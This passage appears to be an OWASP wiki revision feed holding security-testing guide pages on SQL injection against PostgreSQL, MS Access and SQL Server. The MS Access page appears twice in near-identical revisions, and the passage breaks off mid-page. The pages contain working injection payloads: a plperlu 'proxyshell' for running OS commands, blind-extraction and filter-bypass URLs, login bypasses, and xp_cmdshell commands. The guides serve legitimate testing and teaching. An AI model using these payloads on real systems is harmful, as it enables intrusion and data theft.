Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not assuming that sysadm has allready installed plperl package try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;); LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;Testing for SQL Injection&amp;quot; - http://www.owasp.org/index.php/Testing_for_SQL_Injection&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36961</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36961"/>
				<updated>2008-08-22T23:00:38Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Blind sql injection testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are ignored. That happens&lt;br /&gt;
because, internally, strings are NULL terminated.&lt;br /&gt;
However, the NULL character can sometimes cause troubles. Luckily, 5f we try every char in the ASCII&lt;br /&gt;
charset, we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query, we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example,&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and, just like by magic, we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Schema ====&lt;br /&gt;
In MS Access exist various tables that can be used to obtain the name of a table in a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of these table are:&lt;br /&gt;
&lt;br /&gt;
* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example, if a union SQL injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a SQL injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
* ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
* CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
* LEN: Return the length of the string passed as parameter&lt;br /&gt;
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
* MID: This function allows to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
* TOP: This function allows to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind SQL injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally, you find a SQL injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually, there is no chance to execute shell commands or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test, we will consider the myId parameter vulnerable to blind SQL injection.&lt;br /&gt;
We want to extract the content of the table users, in particular, of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other techniques). It is supposed that the reader already knowns the theory behind&lt;br /&gt;
the blind SQL injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST, we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records and not only one record, so we can't use this methodology directly. We must first select only one row. We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then, we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST functions to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string. With this trick we can distinguish when we have a true response or not. This is because id is of numeric type, so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have no errors. Of course if the parameter was of type string we can use different values. For example, we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistentValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistentValueHere')&lt;br /&gt;
&lt;br /&gt;
This method allows us to infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36960</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36960"/>
				<updated>2008-08-22T22:54:08Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Standard Test */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are ignored. That happens&lt;br /&gt;
because, internally, strings are NULL terminated.&lt;br /&gt;
However, the NULL character can sometimes cause troubles. Luckily, 5f we try every char in the ASCII&lt;br /&gt;
charset, we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query, we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example,&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and, just like by magic, we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Schema ====&lt;br /&gt;
In MS Access exist various tables that can be used to obtain the name of a table in a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of these table are:&lt;br /&gt;
&lt;br /&gt;
* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example, if a union SQL injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a SQL injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
* ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
* CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
* LEN: Return the length of the string passed as parameter&lt;br /&gt;
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
* MID: This function allows to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
* TOP: This function allows to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind SQL injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=36959</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=36959"/>
				<updated>2008-08-22T22:43:32Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Timing attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
